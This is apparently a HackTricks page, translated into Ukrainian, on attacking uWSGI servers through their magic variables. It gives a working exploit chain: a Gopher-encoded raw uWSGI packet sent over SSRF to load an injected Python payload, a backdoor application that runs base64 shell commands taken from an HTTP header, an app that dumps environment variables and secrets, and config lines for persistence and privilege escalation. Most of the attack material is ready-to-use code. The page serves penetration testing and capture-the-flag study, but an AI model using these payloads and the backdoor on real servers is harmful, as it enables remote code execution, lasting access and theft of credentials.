WSGI Post-Exploitation трюки
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд WSGI
Web Server Gateway Interface (WSGI) — це специфікація, яка описує, як вебсервер взаємодіє з веб-додатками і як веб-додатки можуть бути з'єднані в ланцюжок для обробки одного запиту. uWSGI — один із найпопулярніших WSGI серверів, часто використовується для обслуговування Python веб-додатків.
Експлуатація магічних змінних у uWSGI
uWSGI надає спеціальні «магічні змінні», які можна використовувати для динамічної конфігурації поведінки сервера. Ці змінні можна встановити через HTTP-заголовки і вони можуть призводити до серйозних вразливостей без належної валідації.
Ключові змінні для експлуатації
UWSGI_FILE
- Виконання довільного файлу
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Ця змінна дозволяє завантажувати та виконувати довільні Python-файли як WSGI-додатки. Якщо зловмисник може контролювати цей параметр, він може досягти Remote Code Execution (RCE).
UWSGI_SCRIPT
- Завантаження скрипту
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Завантажує вказаний скрипт як новий додаток. У поєднанні з можливістю завантаження файлів або запису це може призвести до RCE.
UWSGI_MODULE
і UWSGI_CALLABLE
- Динамічне завантаження модулів
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Ці параметри дозволяють завантажувати довільні Python-модулі та викликати в них конкретні функції.
UWSGI_SETENV
- Маніпуляція змінними оточення
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Може бути використано для зміни змінних середовища, що потенційно впливає на поведінку програми або завантаження шкідливої конфігурації.
UWSGI_PYHOME
- Маніпуляція середовищем Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Змінює віртуальне оточення Python, потенційно завантажуючи шкідливі пакети або інші інтерпретатори Python.
UWSGI_CHDIR
- Траверсія директорій
uwsgi_param UWSGI_CHDIR /etc/;
Змінює робочий каталог перед обробкою запитів, що може бути використано для атак path traversal.
SSRF + Gopher до
Вектор атаки
Коли uWSGI доступний через SSRF (Server-Side Request Forgery), зловмисники можуть взаємодіяти з внутрішнім сокетом uWSGI, щоб експлуатувати magic variables. Це особливо небезпечно, коли:
- Додаток має вразливості SSRF
- uWSGI працює на внутрішньому порту/сокеті
- Додаток неправильно перевіряє magic variables
uWSGI доступний через SSRF, тому що конфігураційний файл uwsgi.ini
містить: socket = 127.0.0.1:5000
, що робить його доступним з веб-застосунку через SSRF.
Приклад експлуатації
Крок 1: Створіть шкідливий payload
Спочатку інжектуйте Python-код у файл, доступний серверу (запис файлу всередині сервера, розширення файлу не має значення):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Крок 2: Сформуйте запит протоколу uWSGI
Використайте протокол Gopher для надсилання необроблених uWSGI-пакетів:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Цей payload:
- Підключається до uWSGI на порту 5000
- Встановлює
UWSGI_FILE
, щоб вказати на шкідливий файл - Змушує uWSGI завантажити та виконати Python-код
Структура протоколу uWSGI
Протокол uWSGI використовує бінарний формат, де:
- Змінні кодуються як рядки з префіксом довжини
- Кожна змінна має:
[name_length][name][value_length][value]
- Пакет починається з заголовка, що містить загальний розмір
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Потім використайте UWSGI_FILE
, щоб завантажити цей backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Персистентність на основі середовища
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Витік інформації
Environment Variable Dumping
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Доступ до файлової системи
Використовуйте UWSGI_CHDIR
у поєднанні з file serving для доступу до конфіденційних файлів:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Якщо uWSGI працює з підвищеними привілеями, зловмисники можуть змінювати права доступу до сокетів:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Перевизначення конфігурації
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.